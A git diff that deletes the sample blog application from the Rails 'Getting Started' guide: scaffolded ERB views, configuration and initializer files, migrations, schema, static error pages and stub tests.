diff --git a/guides/code/getting_started/app/views/posts/_form.html.erb b/guides/code/getting_started/app/views/posts/_form.html.erb
deleted file mode 100644
index f22139938c..0000000000
--- a/guides/code/getting_started/app/views/posts/_form.html.erb
+++ /dev/null
@@ -1,25 +0,0 @@
-<%= form_for @post do |f| %>
- <% if @post.errors.any? %>
- <div id="errorExplanation">
- <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2>
- <ul>
- <% @post.errors.full_messages.each do |msg| %>
- <li><%= msg %></li>
- <% end %>
- </ul>
- </div>
- <% end %>
- <p>
- <%= f.label :title %><br />
- <%= f.text_field :title %>
- </p>
-
- <p>
- <%= f.label :text %><br />
- <%= f.text_area :text %>
- </p>
-
- <p>
- <%= f.submit %>
- </p>
-<% end %>
diff --git a/guides/code/getting_started/app/views/posts/edit.html.erb b/guides/code/getting_started/app/views/posts/edit.html.erb
deleted file mode 100644
index 911a48569d..0000000000
--- a/guides/code/getting_started/app/views/posts/edit.html.erb
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Editing post</h1>
-
-<%= render 'form' %>
-
-<%= link_to 'Back', :action => :index %>
diff --git a/guides/code/getting_started/app/views/posts/index.html.erb b/guides/code/getting_started/app/views/posts/index.html.erb
deleted file mode 100644
index 9a0e90eadc..0000000000
--- a/guides/code/getting_started/app/views/posts/index.html.erb
+++ /dev/null
@@ -1,23 +0,0 @@
-<h1>Listing posts</h1>
-
-<%= link_to 'New post', :action => :new %>
-
-<table>
- <tr>
- <th>Title</th>
- <th>Text</th>
- <th></th>
- <th></th>
- <th></th>
- </tr>
-
-<% @posts.each do |post| %>
- <tr>
- <td><%= post.title %></td>
- <td><%= post.text %></td>
- <td><%= link_to 'Show', :action => :show, :id => post.id %>
- <td><%= link_to 'Edit', :action => :edit, :id => post.id %>
- <td><%= link_to 'Destroy', { :action => :destroy, :id => post.id }, :method => :delete, :data => { :confirm => 'Are you sure?' } %>
- </tr>
-<% end %>
-</table>
diff --git a/guides/code/getting_started/app/views/posts/new.html.erb b/guides/code/getting_started/app/views/posts/new.html.erb
deleted file mode 100644
index ce9523a721..0000000000
--- a/guides/code/getting_started/app/views/posts/new.html.erb
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>New post</h1>
-
-<%= render 'form' %>
-
-<%= link_to 'Back', :action => :index %>
diff --git a/guides/code/getting_started/app/views/posts/show.html.erb b/guides/code/getting_started/app/views/posts/show.html.erb
deleted file mode 100644
index 65809033ed..0000000000
--- a/guides/code/getting_started/app/views/posts/show.html.erb
+++ /dev/null
@@ -1,18 +0,0 @@
-<p>
- <strong>Title:</strong>
- <%= @post.title %>
-</p>
-
-<p>
- <strong>Text:</strong>
- <%= @post.text %>
-</p>
-
-<h2>Comments</h2>
-<%= render @post.comments %>
-
-<h2>Add a comment:</h2>
-<%= render "comments/form" %>
-
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %>
diff --git a/guides/code/getting_started/app/views/welcome/index.html.erb b/guides/code/getting_started/app/views/welcome/index.html.erb
deleted file mode 100644
index e04680ea7e..0000000000
--- a/guides/code/getting_started/app/views/welcome/index.html.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<h1>Hello, Rails!</h1>
-<%= link_to "My Blog", :controller => "posts" %>
diff --git a/guides/code/getting_started/config.ru b/guides/code/getting_started/config.ru
deleted file mode 100644
index ddf869e921..0000000000
--- a/guides/code/getting_started/config.ru
+++ /dev/null
@@ -1,4 +0,0 @@
-# This file is used by Rack-based servers to start the application.
-
-require ::File.expand_path('../config/environment', __FILE__)
-run Blog::Application
diff --git a/guides/code/getting_started/config/application.rb b/guides/code/getting_started/config/application.rb
deleted file mode 100644
index d53c9fd8bc..0000000000
--- a/guides/code/getting_started/config/application.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-require File.expand_path('../boot', __FILE__)
-
-require 'rails/all'
-
-if defined?(Bundler)
- # If you precompile assets before deploying to production, use this line
- Bundler.require(*Rails.groups(:assets => %w(development test)))
- # If you want your assets lazily compiled in production, use this line
- # Bundler.require(:default, :assets, Rails.env)
-end
-
-module Blog
- class Application < Rails::Application
- # Settings in config/environments/* take precedence over those specified here.
- # Application configuration should go into files in config/initializers
- # -- all .rb files in that directory are automatically loaded.
-
- # Custom directories with classes and modules you want to be autoloadable.
- # config.autoload_paths += %W(#{config.root}/extras)
-
- # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
- # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
- # config.time_zone = 'Central Time (US & Canada)'
-
- # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
- # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
- # config.i18n.default_locale = :de
-
- # Configure the default encoding used in templates for Ruby 1.9.
- config.encoding = "utf-8"
-
- # Configure sensitive parameters which will be filtered from the log file.
- config.filter_parameters += [:password]
-
- # Use SQL instead of Active Record's schema dumper when creating the database.
- # This is necessary if your schema can't be completely dumped by the schema dumper,
- # like if you have constraints or database-specific column types.
- # config.active_record.schema_format = :sql
-
- # Enforce whitelist mode for mass assignment.
- # This will create an empty whitelist of attributes available for mass-assignment for all models
- # in your app. As such, your models will need to explicitly whitelist or blacklist accessible
- # parameters by using an attr_accessible or attr_protected declaration.
- # config.active_record.whitelist_attributes = true
-
- # Enable the asset pipeline.
- config.assets.enabled = true
-
- # Version of your assets, change this if you want to expire all your assets.
- config.assets.version = '1.0'
- end
-end
diff --git a/guides/code/getting_started/config/boot.rb b/guides/code/getting_started/config/boot.rb
deleted file mode 100644
index 3596736667..0000000000
--- a/guides/code/getting_started/config/boot.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-# Set up gems listed in the Gemfile.
-ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
-
-require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
diff --git a/guides/code/getting_started/config/database.yml b/guides/code/getting_started/config/database.yml
deleted file mode 100644
index 51a4dd459d..0000000000
--- a/guides/code/getting_started/config/database.yml
+++ /dev/null
@@ -1,25 +0,0 @@
-# SQLite version 3.x
-# gem install sqlite3
-#
-# Ensure the SQLite 3 gem is defined in your Gemfile
-# gem 'sqlite3'
-development:
- adapter: sqlite3
- database: db/development.sqlite3
- pool: 5
- timeout: 5000
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
- adapter: sqlite3
- database: db/test.sqlite3
- pool: 5
- timeout: 5000
-
-production:
- adapter: sqlite3
- database: db/production.sqlite3
- pool: 5
- timeout: 5000
diff --git a/guides/code/getting_started/config/environment.rb b/guides/code/getting_started/config/environment.rb
deleted file mode 100644
index 8f728b7ce7..0000000000
--- a/guides/code/getting_started/config/environment.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-# Load the rails application
-require File.expand_path('../application', __FILE__)
-
-# Initialize the rails application
-Blog::Application.initialize!
diff --git a/guides/code/getting_started/config/environments/development.rb b/guides/code/getting_started/config/environments/development.rb
deleted file mode 100644
index cec2b20c0b..0000000000
--- a/guides/code/getting_started/config/environments/development.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-Blog::Application.configure do
- # Settings specified here will take precedence over those in config/application.rb.
-
- # In the development environment your application's code is reloaded on
- # every request. This slows down response time but is perfect for development
- # since you don't have to restart the web server when you make code changes.
- config.cache_classes = false
-
- # Show full error reports and disable caching.
- config.consider_all_requests_local = true
- config.action_controller.perform_caching = false
-
- # Don't care if the mailer can't send.
- config.action_mailer.raise_delivery_errors = false
-
- # Print deprecation notices to the Rails logger.
- config.active_support.deprecation = :log
-
- # Only use best-standards-support built into browsers.
- config.action_dispatch.best_standards_support = :builtin
-
- # Raise exception on mass assignment protection for ActiveRecord models.
- config.active_record.mass_assignment_sanitizer = :strict
-
- # Log the query plan for queries taking more than this (works
- # with SQLite, MySQL, and PostgreSQL).
- config.active_record.auto_explain_threshold_in_seconds = 0.5
-
- # Do not compress assets.
- config.assets.compress = false
-
- # Expands the lines which load the assets.
- config.assets.debug = true
-end
diff --git a/guides/code/getting_started/config/environments/production.rb b/guides/code/getting_started/config/environments/production.rb
deleted file mode 100644
index ecc35b030b..0000000000
--- a/guides/code/getting_started/config/environments/production.rb
+++ /dev/null
@@ -1,67 +0,0 @@
-Blog::Application.configure do
- # Settings specified here will take precedence over those in config/application.rb.
-
- # Code is not reloaded between requests.
- config.cache_classes = true
-
- # Full error reports are disabled and caching is turned on.
- config.consider_all_requests_local = false
- config.action_controller.perform_caching = true
-
- # Disable Rails's static asset server (Apache or nginx will already do this).
- config.serve_static_assets = false
-
- # Compress JavaScripts and CSS.
- config.assets.compress = true
-
- # Don't fallback to assets pipeline if a precompiled asset is missed.
- config.assets.compile = false
-
- # Generate digests for assets URLs.
- config.assets.digest = true
-
- # Defaults to nil
- # config.assets.manifest = YOUR_PATH
-
- # Specifies the header that your server uses for sending files.
- # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
- # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
-
- # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
- # config.force_ssl = true
-
- # See everything in the log (default is :info).
- # config.log_level = :debug
-
- # Prepend all log lines with the following tags.
- # config.log_tags = [ :subdomain, :uuid ]
-
- # Use a different logger for distributed setups.
- # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new)
-
- # Use a different cache store in production.
- # config.cache_store = :mem_cache_store
-
- # Enable serving of images, stylesheets, and JavaScripts from an asset server.
- # config.action_controller.asset_host = "http://assets.example.com"
-
- # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added).
- # config.assets.precompile += %w( search.js )
-
- # Disable delivery errors, bad email addresses will be ignored.
- # config.action_mailer.raise_delivery_errors = false
-
- # Enable threaded mode.
- # config.threadsafe!
-
- # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
- # the I18n.default_locale when a translation can not be found).
- config.i18n.fallbacks = true
-
- # Send deprecation notices to registered listeners.
- config.active_support.deprecation = :notify
-
- # Log the query plan for queries taking more than this (works
- # with SQLite, MySQL, and PostgreSQL).
- # config.active_record.auto_explain_threshold_in_seconds = 0.5
-end
diff --git a/guides/code/getting_started/config/environments/test.rb b/guides/code/getting_started/config/environments/test.rb
deleted file mode 100644
index f2bc932fb3..0000000000
--- a/guides/code/getting_started/config/environments/test.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-Blog::Application.configure do
- # Settings specified here will take precedence over those in config/application.rb.
-
- # The test environment is used exclusively to run your application's
- # test suite. You never need to work with it otherwise. Remember that
- # your test database is "scratch space" for the test suite and is wiped
- # and recreated between test runs. Don't rely on the data there!
- config.cache_classes = true
-
- # Configure static asset server for tests with Cache-Control for performance.
- config.serve_static_assets = true
- config.static_cache_control = "public, max-age=3600"
-
- # Show full error reports and disable caching.
- config.consider_all_requests_local = true
- config.action_controller.perform_caching = false
-
- # Raise exceptions instead of rendering exception templates.
- config.action_dispatch.show_exceptions = false
-
- # Disable request forgery protection in test environment.
- config.action_controller.allow_forgery_protection = false
-
- # Tell Action Mailer not to deliver emails to the real world.
- # The :test delivery method accumulates sent emails in the
- # ActionMailer::Base.deliveries array.
- config.action_mailer.delivery_method = :test
-
- # Raise exception on mass assignment protection for Active Record models.
- config.active_record.mass_assignment_sanitizer = :strict
-
- # Print deprecation notices to the stderr.
- config.active_support.deprecation = :stderr
-end
diff --git a/guides/code/getting_started/config/initializers/backtrace_silencers.rb b/guides/code/getting_started/config/initializers/backtrace_silencers.rb
deleted file mode 100644
index 59385cdf37..0000000000
--- a/guides/code/getting_started/config/initializers/backtrace_silencers.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces.
-# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ }
-
-# You can also remove all the silencers if you're trying to debug a problem that might stem from framework code.
-# Rails.backtrace_cleaner.remove_silencers!
diff --git a/guides/code/getting_started/config/initializers/inflections.rb b/guides/code/getting_started/config/initializers/inflections.rb
deleted file mode 100644
index 5d8d9be237..0000000000
--- a/guides/code/getting_started/config/initializers/inflections.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Add new inflection rules using the following format
-# (all these examples are active by default):
-# ActiveSupport::Inflector.inflections do |inflect|
-# inflect.plural /^(ox)$/i, '\1en'
-# inflect.singular /^(ox)en/i, '\1'
-# inflect.irregular 'person', 'people'
-# inflect.uncountable %w( fish sheep )
-# end
-#
-# These inflection rules are supported but not enabled by default:
-# ActiveSupport::Inflector.inflections do |inflect|
-# inflect.acronym 'RESTful'
-# end
diff --git a/guides/code/getting_started/config/initializers/mime_types.rb b/guides/code/getting_started/config/initializers/mime_types.rb
deleted file mode 100644
index 72aca7e441..0000000000
--- a/guides/code/getting_started/config/initializers/mime_types.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Add new mime types for use in respond_to blocks:
-# Mime::Type.register "text/richtext", :rtf
-# Mime::Type.register_alias "text/html", :iphone
diff --git a/guides/code/getting_started/config/initializers/secret_token.rb b/guides/code/getting_started/config/initializers/secret_token.rb
deleted file mode 100644
index 969ecaad65..0000000000
--- a/guides/code/getting_started/config/initializers/secret_token.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Your secret key for verifying the integrity of signed cookies.
-# If you change this key, all old signed cookies will become invalid!
-# Make sure the secret is at least 30 characters and all random,
-# no regular words or you'll be exposed to dictionary attacks.
-# Make sure your secret key is kept private
-# if you're sharing your code publicly.
-Blog::Application.config.secret_key_base = '685a9bf865b728c6549a191c90851c1b5ec41ecb60b9e94ad79dd3f824749798aa7b5e94431901960bee57809db0947b481570f7f13376b7ca190fa28099c459'
diff --git a/guides/code/getting_started/config/initializers/session_store.rb b/guides/code/getting_started/config/initializers/session_store.rb
deleted file mode 100644
index 3b2ca93ab9..0000000000
--- a/guides/code/getting_started/config/initializers/session_store.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-Blog::Application.config.session_store :cookie_store, key: '_blog_session'
diff --git a/guides/code/getting_started/config/initializers/wrap_parameters.rb b/guides/code/getting_started/config/initializers/wrap_parameters.rb
deleted file mode 100644
index 999df20181..0000000000
--- a/guides/code/getting_started/config/initializers/wrap_parameters.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# Be sure to restart your server when you modify this file.
-#
-# This file contains settings for ActionController::ParamsWrapper which
-# is enabled by default.
-
-# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
-ActiveSupport.on_load(:action_controller) do
- wrap_parameters format: [:json]
-end
-
-# Disable root element in JSON by default.
-ActiveSupport.on_load(:active_record) do
- self.include_root_in_json = false
-end
diff --git a/guides/code/getting_started/config/locales/en.yml b/guides/code/getting_started/config/locales/en.yml
deleted file mode 100644
index 179c14ca52..0000000000
--- a/guides/code/getting_started/config/locales/en.yml
+++ /dev/null
@@ -1,5 +0,0 @@
-# Sample localization file for English. Add more files in this directory for other locales.
-# See https://github.com/svenfuchs/rails-i18n/tree/master/rails%2Flocale for starting points.
-
-en:
- hello: "Hello world"
diff --git a/guides/code/getting_started/config/routes.rb b/guides/code/getting_started/config/routes.rb
deleted file mode 100644
index d94b0d6f33..0000000000
--- a/guides/code/getting_started/config/routes.rb
+++ /dev/null
@@ -1,63 +0,0 @@
-Blog::Application.routes.draw do
-
- resources :posts do
- resources :comments
- end
-
- # The priority is based upon order of creation:
- # first created -> highest priority.
-
- # Sample of regular route:
- # match 'products/:id' => 'catalog#view'
- # Keep in mind you can assign values other than :controller and :action
-
- # Sample of named route:
- # match 'products/:id/purchase' => 'catalog#purchase', as: :purchase
- # This route can be invoked with purchase_url(id: product.id)
-
- # Sample resource route (maps HTTP verbs to controller actions automatically):
- # resources :products
-
- # Sample resource route with options:
- # resources :products do
- # member do
- # get 'short'
- # post 'toggle'
- # end
- #
- # collection do
- # get 'sold'
- # end
- # end
-
- # Sample resource route with sub-resources:
- # resources :products do
- # resources :comments, :sales
- # resource :seller
- # end
-
- # Sample resource route with more complex sub-resources
- # resources :products do
- # resources :comments
- # resources :sales do
- # get 'recent', on: :collection
- # end
- # end
-
- # Sample resource route within a namespace:
- # namespace :admin do
- # # Directs /admin/products/* to Admin::ProductsController
- # # (app/controllers/admin/products_controller.rb)
- # resources :products
- # end
-
- # You can have the root of your site routed with "root"
- # just remember to delete public/index.html.
- root :to => "welcome#index"
-
- # See how all your routes lay out with "rake routes"
-
- # This is a legacy wild controller route that's not recommended for RESTful applications.
- # Note: This route will make all actions in every controller accessible via GET requests.
- # match ':controller(/:action(/:id))(.:format)'
-end
diff --git a/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb b/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb
deleted file mode 100644
index adda8078c1..0000000000
--- a/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class CreateComments < ActiveRecord::Migration
- def change
- create_table :comments do |t|
- t.string :commenter
- t.text :body
- t.references :post
-
- t.timestamps
- end
- add_index :comments, :post_id
- end
-end
diff --git a/guides/code/getting_started/db/migrate/20120420083127_create_posts.rb b/guides/code/getting_started/db/migrate/20120420083127_create_posts.rb
deleted file mode 100644
index 602bef31ab..0000000000
--- a/guides/code/getting_started/db/migrate/20120420083127_create_posts.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-class CreatePosts < ActiveRecord::Migration
- def change
- create_table :posts do |t|
- t.string :title
- t.text :text
-
- t.timestamps
- end
- end
-end
diff --git a/guides/code/getting_started/db/schema.rb b/guides/code/getting_started/db/schema.rb
deleted file mode 100644
index cfb56ca9b9..0000000000
--- a/guides/code/getting_started/db/schema.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-# encoding: UTF-8
-# This file is auto-generated from the current state of the database. Instead
-# of editing this file, please use the migrations feature of Active Record to
-# incrementally modify your database, and then regenerate this schema definition.
-#
-# Note that this schema.rb definition is the authoritative source for your
-# database schema. If you need to create the application database on another
-# system, you should be using db:schema:load, not running all the migrations
-# from scratch. The latter is a flawed and unsustainable approach (the more migrations
-# you'll amass, the slower it'll run and the greater likelihood for issues).
-#
-# It's strongly recommended to check this file into your version control system.
-
-ActiveRecord::Schema.define(:version => 20120420083127) do
-
- create_table "comments", :force => true do |t|
- t.string "commenter"
- t.text "body"
- t.integer "post_id"
- t.datetime "created_at", :null => false
- t.datetime "updated_at", :null => false
- end
-
- add_index "comments", ["post_id"], :name => "index_comments_on_post_id"
-
- create_table "posts", :force => true do |t|
- t.string "title"
- t.text "text"
- t.datetime "created_at", :null => false
- t.datetime "updated_at", :null => false
- end
-
- create_table "tags", :force => true do |t|
- t.string "name"
- t.integer "post_id"
- t.datetime "created_at", :null => false
- t.datetime "updated_at", :null => false
- end
-
- add_index "tags", ["post_id"], :name => "index_tags_on_post_id"
-
-end
diff --git a/guides/code/getting_started/db/seeds.rb b/guides/code/getting_started/db/seeds.rb
deleted file mode 100644
index 4edb1e857e..0000000000
--- a/guides/code/getting_started/db/seeds.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# This file should contain all the record creation needed to seed the database with its default values.
-# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup).
-#
-# Examples:
-#
-# cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }])
-# Mayor.create(name: 'Emanuel', city: cities.first)
diff --git a/guides/code/getting_started/doc/README_FOR_APP b/guides/code/getting_started/doc/README_FOR_APP
deleted file mode 100644
index fe41f5cc24..0000000000
--- a/guides/code/getting_started/doc/README_FOR_APP
+++ /dev/null
@@ -1,2 +0,0 @@
-Use this README file to introduce your application and point to useful places in the API for learning more.
-Run "rake doc:app" to generate API documentation for your models, controllers, helpers, and libraries.
diff --git a/guides/code/getting_started/public/404.html b/guides/code/getting_started/public/404.html
deleted file mode 100644
index 9a48320a5f..0000000000
--- a/guides/code/getting_started/public/404.html
+++ /dev/null
@@ -1,26 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
- <title>The page you were looking for doesn't exist (404)</title>
- <style type="text/css">
- body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
- div.dialog {
- width: 25em;
- padding: 0 4em;
- margin: 4em auto 0 auto;
- border: 1px solid #ccc;
- border-right-color: #999;
- border-bottom-color: #999;
- }
- h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
- </style>
-</head>
-
-<body>
- <!-- This file lives in public/404.html -->
- <div class="dialog">
- <h1>The page you were looking for doesn't exist.</h1>
- <p>You may have mistyped the address or the page may have moved.</p>
- </div>
-</body>
-</html>
diff --git a/guides/code/getting_started/public/422.html b/guides/code/getting_started/public/422.html
deleted file mode 100644
index 83660ab187..0000000000
--- a/guides/code/getting_started/public/422.html
+++ /dev/null
@@ -1,26 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
- <title>The change you wanted was rejected (422)</title>
- <style type="text/css">
- body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
- div.dialog {
- width: 25em;
- padding: 0 4em;
- margin: 4em auto 0 auto;
- border: 1px solid #ccc;
- border-right-color: #999;
- border-bottom-color: #999;
- }
- h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
- </style>
-</head>
-
-<body>
- <!-- This file lives in public/422.html -->
- <div class="dialog">
- <h1>The change you wanted was rejected.</h1>
- <p>Maybe you tried to change something you didn't have access to.</p>
- </div>
-</body>
-</html>
diff --git a/guides/code/getting_started/public/500.html b/guides/code/getting_started/public/500.html
deleted file mode 100644
index f3648a0dbc..0000000000
--- a/guides/code/getting_started/public/500.html
+++ /dev/null
@@ -1,25 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
- <title>We're sorry, but something went wrong (500)</title>
- <style type="text/css">
- body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
- div.dialog {
- width: 25em;
- padding: 0 4em;
- margin: 4em auto 0 auto;
- border: 1px solid #ccc;
- border-right-color: #999;
- border-bottom-color: #999;
- }
- h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
- </style>
-</head>
-
-<body>
- <!-- This file lives in public/500.html -->
- <div class="dialog">
- <h1>We're sorry, but something went wrong.</h1>
- </div>
-</body>
-</html>
diff --git a/guides/code/getting_started/public/favicon.ico b/guides/code/getting_started/public/favicon.ico
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/public/favicon.ico
+++ /dev/null
diff --git a/guides/code/getting_started/public/robots.txt b/guides/code/getting_started/public/robots.txt
deleted file mode 100644
index 1a3a5e4dd2..0000000000
--- a/guides/code/getting_started/public/robots.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
-#
-# To ban all spiders from the entire site uncomment the next two lines:
-# User-agent: *
-# Disallow: /
diff --git a/guides/code/getting_started/script/rails b/guides/code/getting_started/script/rails
deleted file mode 100755
index f8da2cffd4..0000000000
--- a/guides/code/getting_started/script/rails
+++ /dev/null
@@ -1,6 +0,0 @@
-#!/usr/bin/env ruby
-# This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application.
-
-APP_PATH = File.expand_path('../../config/application', __FILE__)
-require File.expand_path('../../config/boot', __FILE__)
-require 'rails/commands'
diff --git a/guides/code/getting_started/test/fixtures/.gitkeep b/guides/code/getting_started/test/fixtures/.gitkeep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/test/fixtures/.gitkeep
+++ /dev/null
diff --git a/guides/code/getting_started/test/fixtures/comments.yml b/guides/code/getting_started/test/fixtures/comments.yml
deleted file mode 100644
index d33da386bf..0000000000
--- a/guides/code/getting_started/test/fixtures/comments.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html
-
-one:
- commenter: MyString
- body: MyText
- post:
-
-two:
- commenter: MyString
- body: MyText
- post:
diff --git a/guides/code/getting_started/test/fixtures/posts.yml b/guides/code/getting_started/test/fixtures/posts.yml
deleted file mode 100644
index e1edfd385e..0000000000
--- a/guides/code/getting_started/test/fixtures/posts.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html
-
-one:
- title: MyString
- text: MyText
-
-two:
- title: MyString
- text: MyText
diff --git a/guides/code/getting_started/test/functional/.gitkeep b/guides/code/getting_started/test/functional/.gitkeep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/test/functional/.gitkeep
+++ /dev/null
diff --git a/guides/code/getting_started/test/functional/comments_controller_test.rb b/guides/code/getting_started/test/functional/comments_controller_test.rb
deleted file mode 100644
index 2ec71b4ec5..0000000000
--- a/guides/code/getting_started/test/functional/comments_controller_test.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'test_helper'
-
-class CommentsControllerTest < ActionController::TestCase
- # test "the truth" do
- # assert true
- # end
-end
diff --git a/guides/code/getting_started/test/functional/posts_controller_test.rb b/guides/code/getting_started/test/functional/posts_controller_test.rb
deleted file mode 100644
index b8f7b07820..0000000000
--- a/guides/code/getting_started/test/functional/posts_controller_test.rb
+++ /dev/null
@@ -1,49 +0,0 @@
-require 'test_helper'
-
-class PostsControllerTest < ActionController::TestCase
- setup do
- @post = posts(:one)
- end
-
- test "should get index" do
- get :index
- assert_response :success
- assert_not_nil assigns(:posts)
- end
-
- test "should get new" do
- get :new
- assert_response :success
- end
-
- test "should create post" do
- assert_difference('Post.count') do
- post :create, post: @post.attributes
- end
-
- assert_redirected_to post_path(assigns(:post))
- end
-
- test "should show post" do
- get :show, id: @post.to_param
- assert_response :success
- end
-
- test "should get edit" do
- get :edit, id: @post.to_param
- assert_response :success
- end
-
- test "should update post" do
- put :update, id: @post.to_param, post: @post.attributes
- assert_redirected_to post_path(assigns(:post))
- end
-
- test "should destroy post" do
- assert_difference('Post.count', -1) do
- delete :destroy, id: @post.to_param
- end
-
- assert_redirected_to posts_path
- end
-end
diff --git a/guides/code/getting_started/test/functional/welcome_controller_test.rb b/guides/code/getting_started/test/functional/welcome_controller_test.rb
deleted file mode 100644
index e4d5abae11..0000000000
--- a/guides/code/getting_started/test/functional/welcome_controller_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require 'test_helper'
-
-class WelcomeControllerTest < ActionController::TestCase
- test "should get index" do
- get :index
- assert_response :success
- end
-end
diff --git a/guides/code/getting_started/test/integration/.gitkeep b/guides/code/getting_started/test/integration/.gitkeep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/test/integration/.gitkeep
+++ /dev/null
diff --git a/guides/code/getting_started/test/performance/browsing_test.rb b/guides/code/getting_started/test/performance/browsing_test.rb
deleted file mode 100644
index 9342a57b20..0000000000
--- a/guides/code/getting_started/test/performance/browsing_test.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-require 'test_helper'
-require 'rails/performance_test_help'
-
-class BrowsingTest < ActionDispatch::PerformanceTest
- # Refer to the documentation for all available options
- # self.profile_options = { runs: 5, metrics: [:wall_time, :memory],
- # output: 'tmp/performance', formats: [:flat] }
-
- def test_homepage
- get '/'
- end
-end
diff --git a/guides/code/getting_started/test/test_helper.rb b/guides/code/getting_started/test/test_helper.rb
deleted file mode 100644
index 3daca18a71..0000000000
--- a/guides/code/getting_started/test/test_helper.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-ENV["RAILS_ENV"] = "test"
-require File.expand_path('../../config/environment', __FILE__)
-require 'rails/test_help'
-
-class ActiveSupport::TestCase
- # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
- #
- # Note: You'll currently still have to declare fixtures explicitly in integration tests
- # -- they do not yet inherit this setting
- fixtures :all
-
- # Add more helper methods to be used by all tests here...
-end
diff --git a/guides/code/getting_started/test/unit/.gitkeep b/guides/code/getting_started/test/unit/.gitkeep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/test/unit/.gitkeep
+++ /dev/null
diff --git a/guides/code/getting_started/test/unit/comment_test.rb b/guides/code/getting_started/test/unit/comment_test.rb
deleted file mode 100644
index b6d6131a96..0000000000
--- a/guides/code/getting_started/test/unit/comment_test.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'test_helper'
-
-class CommentTest < ActiveSupport::TestCase
- # test "the truth" do
- # assert true
- # end
-end
diff --git a/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb b/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb
deleted file mode 100644
index 2518c16bd5..0000000000
--- a/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'test_helper'
-
-class CommentsHelperTest < ActionView::TestCase
-end
diff --git a/guides/code/getting_started/test/unit/helpers/home_helper_test.rb b/guides/code/getting_started/test/unit/helpers/home_helper_test.rb
deleted file mode 100644
index 4740a18dac..0000000000
--- a/guides/code/getting_started/test/unit/helpers/home_helper_test.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'test_helper'
-
-class HomeHelperTest < ActionView::TestCase
-end
diff --git a/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb b/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb
deleted file mode 100644
index 48549c2ea1..0000000000
--- a/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'test_helper'
-
-class PostsHelperTest < ActionView::TestCase
-end
